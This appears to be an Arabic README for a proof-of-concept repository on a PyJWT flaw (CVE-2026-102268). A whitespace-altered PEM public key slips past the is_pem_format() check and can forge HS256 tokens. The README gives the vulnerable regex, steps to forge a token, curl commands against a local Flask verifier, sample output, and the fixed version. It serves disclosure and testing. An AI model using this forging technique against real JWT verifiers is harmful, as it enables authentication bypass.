
استغلال PoC لـ CVE-2026-102-268 (تجاوز كشف PyJWT غير المتماثل PEM).
نتيجة تحليل قابلية الاستغلال: السبب الجذري مؤكد والاستغلال من البداية إلى النهاية قابل لإعادة الإنتاج. مفتاح عام PEM مُعدَّل بمسافات بيضاء يتجاوز حارس
is_pem_format()في PyJWT ويُقبل كسر HMAC صالح، مما يتيح تزويراً كاملاً لرموز HS256 ضد أي مُتحقق يُدرجRS256إلى جانبHS256في قائمة السماح. راجع التحليل للتفاصيل.
CVE-2026-102268 هو ثغرة ارتباك الخوارزميات في PyJWT. قبل استخدام أي مفتاح كسر HMAC، تستدعي HMACAlgorithm.prepare_key() الدالة is_pem_format() لرفض المفاتيح التي تبدو كمفتاح غير متماثل مُرمَّز بصيغة PEM أو شهادة — وهو الدفاع القياسي ضد هجمات ارتباك RS256/HS256.
is_pem_format() هو تعبير نمطي واحد يتطلب تجاوراً دقيقاً \r?\n بين جسم المفتاح وعلامتي BEGIN/END. أما مُحمِّل PEM الخاص بمكتبة cryptography فلا يشترط ذلك. ملف PEM يحتوي على مسافات بيضاء ملاصقة للعلامة، أو فواصل أسطر من نوع CR فقط، أو مطوي على سطر واحد، يُحلَّل كمفتاح صالح تماماً بواسطة cryptography.load_pem_public_key()، بينما تُعيد is_pem_format() القيمة False على البايتات نفسها.
النتيجة: لا يُفعَّل حارس المفتاح غير المتماثل أبداً، ويُقبل المفتاح العام كسر HMAC، وأي شخص يملك ذلك المفتاح العام — وهو عام بحكم التعريف — يمكنه إصدار رمز HS256 صالح لأي مُتحقق يُدرج كلاً من RS256 وHS256 في قائمة السماح.
يحتوي هذا المستودع على مُتحقق Flask بسيط ومفتاح إعادة إنتاج لتأكيد هذا الادعاء من البداية إلى النهاية.
| النطاق المتأثر | تم الإصلاح في |
|---|---|
| < 2.14.0 | 2.14.0 |
الفحص المصاب في jwt/utils.py (جميع الإصدارات قبل 2.14.0):
# jwt/utils.py — vulnerable
_PEM_RE = re.compile(
b"----[- ]BEGIN ("
+ b"|".join(_PEMS)
+ b""")[- ]----\r?
.+?\r?
----[- ]END \1[- ]----\r?\n?"""
)
def is_pem_format(key: bytes) -> bool:
return bool(_PEM_RE.search(key))
البوابة عليه، في jwt/algorithms.py:
# jwt/algorithms.py — HMACAlgorithm.prepare_key()
if is_pem_format(key) or is_ssh_key(key):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
فواصل [- ] في التعبير النمطي تتحمل فقط شرطة واحدة أو مسافة واحدة ملاصقة مباشرة لشرطات العلامة. أي مسافة بيضاء أخرى تقع بين السطر الجديد الأخير لجسم المفتاح وعلامة END — مسافة بادئة، أو \r شارد، أو سطر واحد مُعاد لفّه — تُفشل المطابقة، فتُبلِّغ is_pem_format() عن False على ملف تحلله cryptography دون اعتراض.
الإصلاح (commit 8b4e233، الصادر في 2.14.0) يستبدل التعبير النمطي بماسح أحادي التمرير على مجموعة علامات BEGIN/END المدعومة لا يعتمد على تجاور دقيق لفواصل الأسطر — مما يُغلق هذا التجاوز، وفي التغيير نفسه، ثغرة ReDoS ذات صلة في الدالة نفسها (CVE-2026-102270).
public_key.pem في هذا المستودع هو مفتاح عام RSA عادي بحجم 2048 بت مع تغيير واحد: سطر -----END PUBLIC KEY----- مُزاح بمسافة بادئة مقدارها أربع مسافات.
1wIDAQAB
-----END PUBLIC KEY-----
openssl rsa -pubin -in public_key.pem -text -noout # parses cleanly, no warning
تشغيل utils.py يؤكد التجاوز مباشرة ضد المكتبة، بمعزل عن تطبيق Flask:
$ python utils.py
JWT encoded successfully: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
JWT decoded successfully: {'some': 'payload'}
jwt.encode(..., PUBLIC_KEY, algorithm="HS256") ينجح. على PyJWT مُرقَّع (≥ 2.14.0)، يرفع هذا الاستدعاء نفسه InvalidKeyError — تُشير is_pem_format() بشكل صحيح إلى الملف كمفتاح PEM بغض النظر عن المسافة البادئة، ويرفضه مسار HMAC. هنا، لا يحدث ذلك: المسافة البادئة بأربع مسافات كافية لجعل التعبير النمطي يخطئ، وتُقبل بايتات المفتاح العام كسر HMAC عادي.
app.py يعيد إنتاج الشرط المسبق الواقعي — مُتحقق تخلط قائمة algorithms الخاصة به بين الخوارزمية غير المتماثلة والمتماثلة:
decoded_payload = jwt.decode(token, key=PUBLIC_KEY, algorithms=["RS256", "HS256"])
رمز مُزوَّر بأسلوب utils.py، يُقدَّم إلى /verify، يُقبل: تُعيد /verify الرمز 200 والمزاعم المُزوَّرة، لرمز لم يوقّعه أبداً أي شخص يملك المفتاح الخاص.
cve-2026-102268-poc/
├── Dockerfile # Python 3.9-slim, installs PyJWT==2.4.0 (vulnerable)
├── podman-compose.yaml # Single-service compose for the verifier
├── requirements.txt # Flask, Werkzeug, PyJWT==2.4.0
├── app.py # Flask /verify route — algorithms=["RS256","HS256"]
├── utils.py # Standalone PoC: signs + verifies HS256 with PUBLIC_KEY
├── public_key.pem # RSA public key, END marker indented by 4 spaces
└── README.md
| الأداة | الإصدار | ملاحظات |
|---|---|---|
| Podman | ≥ 4.0 | Docker يعمل أيضاً |
| Python | ≥ 3.9 | فقط لتشغيل utils.py محلياً |
| curl | أي | لاختبار /verify مباشرةً |
podman-compose up -d
انتظر بضع ثوانٍ، ثم تأكد من أن الخدمة تعمل:
curl -si http://localhost:8080/verify -X POST \
-H 'Content-Type: application/json' -d '{}' | head -1
# Expected: HTTP/1.1 400 (missing token, but the service is reachable)
python utils.py
هذا يوقّع {"some": "payload"} بـ public_key.pem باستخدام HS256 ويطبع رمز JWT الناتج — وهو أساس التزوير. انسخ الرمز المُرمَّز.
curl -s http://localhost:8080/verify \
-H 'Content-Type: application/json' \
-d '{"token": "<forged-jwt-here>"}'
podman-compose down
أعد الخطوة 2 مع تثبيت PyJWT>=2.14.0 بدلاً من 2.4.0 المثبَّت في requirements.txt. يرفع jwt.encode() استثناء InvalidKeyError قبل إنتاج أي رمز على الإطلاق.
============================================================
CVE-2026-102268 — PyJWT Asymmetric-PEM Detection Bypass PoC
============================================================
Key : public_key.pem (RSA public key, END marker indented)
Target : http://localhost:8080/verify
------------------------------------------------------------
[1] Signing forged token with PUBLIC_KEY as HS256 secret...
[+] JWT encoded successfully:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9...
[2] Submitting forged token to /verify (algorithms=["RS256","HS256"])...
------------------------------------------------------------
[✓] HTTP 200 — Access granted
{"message": "Access granted", "payload": {"some": "payload"}}
is_pem_format(PUBLIC_KEY) returned False — the asymmetric-key
guard in HMACAlgorithm.prepare_key() never fired.
============================================================